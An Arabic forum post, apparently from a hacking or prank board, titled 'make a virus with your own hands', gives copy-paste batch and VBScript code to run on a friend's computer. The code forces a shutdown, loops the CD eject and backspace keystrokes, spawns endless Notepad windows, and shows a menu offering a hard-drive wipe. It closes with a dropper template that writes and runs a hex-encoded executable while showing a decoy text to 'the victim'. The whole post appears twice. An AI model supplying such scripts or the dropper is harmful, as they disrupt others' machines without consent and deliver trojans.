تويت
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته
اصنع فيروس بيدك
هل فكرت في ذلك
الامر اسهل مما تتخيل
الفيروس لطيف للمزح مع اصدقائك
معلومة (كل هذه الفيروسات اسكربت تنفذ علي النوت باد Notepad )
الاول :قم باغلاق جهاز صديقك وارسال رسالة قبل الاغلاق
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
ثم قم بحفظها علي جهازك باسم Anything.BAT
ملحوظة يمكنك تغير الرسالة كما تشاء من انشائك قم باستبدال كلمة Error! You are too ******! بالرسالة التي تريد ارسالها الي صديقك
الثاني:اجعل لمبة كابس لوك Caps Lock تومض فتضئ وتطفئ مرارا
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS
الثالث: اجعل السي دي روم تخرج وتدخل عدة مرات غصب عن صاحب الجهاز
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS
الرابع: فتح النوتباد وكتابة ببطئ "Hello, how are you? I am good thanks" غيرها كما تشاء
الطريقة :
افتح Notepad
انسخ التالي:
كود:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد
الخامس:يقوم بعمل باك عودة من المكان الذي انت فيه ولوكنت تكتب يقوم بمسح الكتابة باختصار يضغط علي زر ٍBack Space باستمرار
الطريقة :
افتح Notepad
انسخ التالي:
كود:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد
السادس:يقوم بفتح الاف من النوتباد دفعة واحدة (لابد من اغلاق الجهاز حينها -فيروس اكثر من خنيق)
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد
السابع:يطلب من صديقك الاختيار من بين الاوامر التالية
1:Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد
وهذي بعد حركات بسيطه ::
Set ObjFSO = createobject("scripting.filesystemobject")
Set Wsh****************l = createobject("wscript.****************l")
SText="أكتب الكلام الي تبية يطلع للضحية" & VBcrlf & "أكتب الكلام الي تبية يطلع للضحية"
Set ObjTextStream = ObjFSO.Createtextfile("c:\Test.txt",True)
ObjTextStream.write sText
ObjTextStream.close
Wsh****************l.Run "c:\Test.txt", 1, False
shex= "ضع هناء قئم الباتش كاملة"
bByte = hextoByte(shex)
Set ObjTextStream = ObjFSO.Createtextfile("c:\NewTest.exe",True)
ObjTextStream.write bByte
ObjTextStream.close
Wsh****************l.Run "c:\NewTest.exe", 1, False
Function hextoByte(sData)
For lCounter = 1 To Len(sData) Step 2
hextoByte = hextoByte & Chr("&h" & Mid(sData, lCounter, 2))
Next
End Function
السلام عليكم ورحمة الله وبركاته
اصنع فيروس بيدك
هل فكرت في ذلك
الامر اسهل مما تتخيل
الفيروس لطيف للمزح مع اصدقائك
معلومة (كل هذه الفيروسات اسكربت تنفذ علي النوت باد Notepad )
الاول :قم باغلاق جهاز صديقك وارسال رسالة قبل الاغلاق
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
msg * I don't like you
shutdown -c "Error! You are too ******!" -s
ثم قم بحفظها علي جهازك باسم Anything.BAT
ملحوظة يمكنك تغير الرسالة كما تشاء من انشائك قم باستبدال كلمة Error! You are too ******! بالرسالة التي تريد ارسالها الي صديقك
الثاني:اجعل لمبة كابس لوك Caps Lock تومض فتضئ وتطفئ مرارا
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS
الثالث: اجعل السي دي روم تخرج وتدخل عدة مرات غصب عن صاحب الجهاز
الطريقة :
افتح Notepad
انسخ التالي:
كود:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS
الرابع: فتح النوتباد وكتابة ببطئ "Hello, how are you? I am good thanks" غيرها كما تشاء
الطريقة :
افتح Notepad
انسخ التالي:
كود:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد
الخامس:يقوم بعمل باك عودة من المكان الذي انت فيه ولوكنت تكتب يقوم بمسح الكتابة باختصار يضغط علي زر ٍBack Space باستمرار
الطريقة :
افتح Notepad
انسخ التالي:
كود:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
ثم قم بحفظها علي جهازك باسم Anything.VBS استبل Anything باي اسم تريد
السادس:يقوم بفتح الاف من النوتباد دفعة واحدة (لابد من اغلاق الجهاز حينها -فيروس اكثر من خنيق)
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد
السابع:يطلب من صديقك الاختيار من بين الاوامر التالية
1:Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
الطريقة :
افتح Notepad
انسخ التالي:
كود:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
ثم قم بحفظها علي جهازك باسم Anything.BAT استبل Anything باي اسم تريد
وهذي بعد حركات بسيطه ::
Set ObjFSO = createobject("scripting.filesystemobject")
Set Wsh****************l = createobject("wscript.****************l")
SText="أكتب الكلام الي تبية يطلع للضحية" & VBcrlf & "أكتب الكلام الي تبية يطلع للضحية"
Set ObjTextStream = ObjFSO.Createtextfile("c:\Test.txt",True)
ObjTextStream.write sText
ObjTextStream.close
Wsh****************l.Run "c:\Test.txt", 1, False
shex= "ضع هناء قئم الباتش كاملة"
bByte = hextoByte(shex)
Set ObjTextStream = ObjFSO.Createtextfile("c:\NewTest.exe",True)
ObjTextStream.write bByte
ObjTextStream.close
Wsh****************l.Run "c:\NewTest.exe", 1, False
Function hextoByte(sData)
For lCounter = 1 To Len(sData) Step 2
hextoByte = hextoByte & Chr("&h" & Mid(sData, lCounter, 2))
Next
End Function
حلو للمقالب هع
فهمت
||..........
.gif "Smiles (38)")
تعليق